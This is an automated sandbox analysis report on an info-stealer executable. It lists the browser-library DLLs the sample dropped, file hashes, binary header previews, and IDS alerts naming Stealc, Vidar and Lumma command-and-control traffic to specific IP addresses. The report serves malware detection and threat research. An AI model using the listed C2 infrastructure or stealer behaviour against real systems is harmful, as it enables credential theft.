Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../(.f............................N.... ........@.. ....................................`.....................................K.......................(&.......................................................... ............... ..H............text...T.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................0.......H.......................................................................@X.15..Q..T.w{...........v^."....S...0Zo..X......\|.....o...AS..D...n..E.e...5_.0.....E....A.....;....$.3.Z.!h;.%....r;G..u...R...$'.9....V..7.O?.C..:....\|...,`2vq.2t.X/.g=^n(...?%N....g...Q.%.%..Iro.0...H.f..w+^...c...i../.'...F.........FR.E.t....+v.7S.g...3.....}.(...H...).u!_5...Yb...t...j.#.*J..z.^..x..i.H.....xT.V.F.c~..h..5...;..N..U..f...8c.?...K.ca}x..5.Uy{n.J..^...3h...%.\|....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	2.2318272874720075
Encrypted:	false
SSDEEP:	6:vtzOVg3F+X32wx13C+t6kdlWOszUVMnfBrErV4rk/0kOp+ENJ/iHu/eGE/8d6y:vpmGSGwS+zlWOszrfurKrE0keTUeDWi
MD5:	EF8872DBB1E0DE26C4DAADB4E2BA1231
SHA1:	3D2931ACBF70418C2E5D997EFB92191A0AA1C370
SHA-256:	3C3473CD478011EF47A57B88EC6FDA2427C944085BBB929BBDE6ED88BA4CD624
SHA-512:	68AAFDCA48C3830D035FECEC97FECFBE11F7691561E53CD9B8C126BC0A9675056F807869F6248AD9E3D8F6DCF0A5D7CE8355490AEC7E2A09376AC0673A6392C4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:ff7:r
MD5:	BF938BB7AA5AC1FB3A22F31DF52E21FA
SHA1:	AB164AEA13C1370EC1F0BCDC68CBC9B6812F7C22
SHA-256:	117CB93E97C77169DEA6636AF71E60B6C2FC18FE82552544976C0A2C9C45DC71
SHA-512:	E6C6A8EF8A71F9923349C607557228D947303FB4A1B0EB359538BDB59CFB4B95DFA7CCC1AA58AC96DB9C565543D27F7BC7C8473CF3BBFA6F746E1EFD2987F790
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.98930925922763
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	414'248 bytes
MD5:	239144713534aecb31e32cae4afb4645
SHA1:	fc5943e5c7d751bb7225a3856032091090f74748
SHA256:	926091fb9ecdefb9b61384f2b65084f7b1dbb52d8b1c8de7ee0ea415d828aed2
SHA512:	57956184064c621f7b8246a4fce73b6678ead6b23135de87b4b645a1afeeb00d801e8225b1717ff214cadf9ea5314779d6ca5724bb2ff081a1b731579735483b
SSDEEP:	12288:/DZ3CU48cDxa9ZX6SE/Q+UCGoul2q/SW/HhEO:LtN4pD6JG/NUCZ8SW/Bt
TLSH:	AA94235083E24B93E4108B3B555B92341D9BF74913B34C26ABD5FDA8CA8834EA9D3E4D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...m(.f................."..........N@... ...`....@.. ....................................`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x46404e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FA286D [Mon Sep 30 04:26:21 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/01/2023 00:00:00 16/01/2026 23:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x64000	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x66000	0x5f8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x62c00	0x2628
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x68000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x63ec8	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x62054	0x62200	a5d637fda951e74e8e9cfa16541909fd	False	0.9937151671974522	data	7.995700647504536	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x66000	0x5f8	0x600	857e36fde0468e9e54ff62c475932565	False	0.443359375	data	4.1834568135501025	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x68000	0xc	0x200	d6564513eeed849c4d9ffd68db89fa0d	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x660a0	0x368	data			0.4380733944954128
RT_MANIFEST	0x66408	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-30T12:22:24.724069+0200	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.4	52534	5.42.101.62	80	TCP
2024-09-30T12:22:25.424460+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	5.42.101.62	80	192.168.2.4	52534	TCP
2024-09-30T12:22:26.071376+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	5.42.101.62	80	192.168.2.4	52534	TCP
2024-09-30T12:22:44.287678+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	52535	147.45.44.104	80	TCP
2024-09-30T12:22:46.001365+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	52535	147.45.44.104	80	TCP
2024-09-30T12:22:46.272838+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	52536	172.67.205.129	443	TCP
2024-09-30T12:22:46.272838+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	52536	172.67.205.129	443	TCP
2024-09-30T12:22:47.359279+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	52537	172.67.205.129	443	TCP
2024-09-30T12:22:47.359279+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	52537	172.67.205.129	443	TCP
2024-09-30T12:22:47.552348+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	52535	147.45.44.104	80	TCP
2024-09-30T12:22:48.339789+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	52538	104.21.1.169	443	TCP
2024-09-30T12:22:48.339789+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	52538	104.21.1.169	443	TCP
2024-09-30T12:22:49.335290+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	52540	46.8.231.109	80	TCP
2024-09-30T12:22:49.533367+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	52540	46.8.231.109	80	TCP
2024-09-30T12:22:49.542332+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	46.8.231.109	80	192.168.2.4	52540	TCP
2024-09-30T12:22:49.718982+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	52540	46.8.231.109	80	TCP
2024-09-30T12:22:49.763054+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	46.8.231.109	80	192.168.2.4	52540	TCP
2024-09-30T12:22:50.067561+0200	2054495	ET MALWARE Vidar Stealer Form Exfil	1	192.168.2.4	52541	45.132.206.251	80	TCP
2024-09-30T12:22:50.768254+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	52540	46.8.231.109	80	TCP
2024-09-30T12:22:50.949130+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	52540	46.8.231.109	80	TCP
2024-09-30T12:22:54.618722+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	52540	46.8.231.109	80	TCP
2024-09-30T12:22:55.469538+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	52540	46.8.231.109	80	TCP
2024-09-30T12:22:56.103912+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	52542	46.8.231.109	80	TCP
2024-09-30T12:22:56.859974+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	52542	46.8.231.109	80	TCP
2024-09-30T12:22:57.499414+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	52543	46.8.231.109	80	TCP
2024-09-30T12:22:58.324298+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	52543	46.8.231.109	80	TCP
2024-09-30T12:23:00.519214+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	52545	147.45.44.104	80	TCP
2024-09-30T12:23:01.585325+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	52545	147.45.44.104	80	TCP
2024-09-30T12:23:05.200378+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	52547	172.67.205.129	443	TCP
2024-09-30T12:23:05.200378+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	52547	172.67.205.129	443	TCP
2024-09-30T12:23:06.774641+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	52549	172.67.205.129	443	TCP
2024-09-30T12:23:06.774641+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	52549	172.67.205.129	443	TCP
2024-09-30T12:23:07.727061+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	52550	104.21.1.169	443	TCP
2024-09-30T12:23:07.727061+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	52550	104.21.1.169	443	TCP
2024-09-30T12:23:08.475863+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	5.42.101.62	80	192.168.2.4	52548	TCP
2024-09-30T12:23:09.108852+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	5.42.101.62	80	192.168.2.4	52548	TCP
2024-09-30T12:23:16.804284+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	5.42.101.62	80	192.168.2.4	52553	TCP
2024-09-30T12:23:17.385657+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	5.42.101.62	80	192.168.2.4	52553	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 12:22:21.449196100 CEST	52533	443	192.168.2.4	149.154.167.99
Sep 30, 2024 12:22:21.449230909 CEST	443	52533	149.154.167.99	192.168.2.4
Sep 30, 2024 12:22:21.449342012 CEST	52533	443	192.168.2.4	149.154.167.99
Sep 30, 2024 12:22:21.457612038 CEST	52533	443	192.168.2.4	149.154.167.99
Sep 30, 2024 12:22:21.457627058 CEST	443	52533	149.154.167.99	192.168.2.4
Sep 30, 2024 12:22:22.071028948 CEST	443	52533	149.154.167.99	192.168.2.4
Sep 30, 2024 12:22:22.071111917 CEST	52533	443	192.168.2.4	149.154.167.99
Sep 30, 2024 12:22:22.292047024 CEST	52533	443	192.168.2.4	149.154.167.99
Sep 30, 2024 12:22:22.292078972 CEST	443	52533	149.154.167.99	192.168.2.4
Sep 30, 2024 12:22:22.292382002 CEST	443	52533	149.154.167.99	192.168.2.4
Sep 30, 2024 12:22:22.292444944 CEST	52533	443	192.168.2.4	149.154.167.99
Sep 30, 2024 12:22:22.421231031 CEST	52533	443	192.168.2.4	149.154.167.99
Sep 30, 2024 12:22:22.463439941 CEST	443	52533	149.154.167.99	192.168.2.4
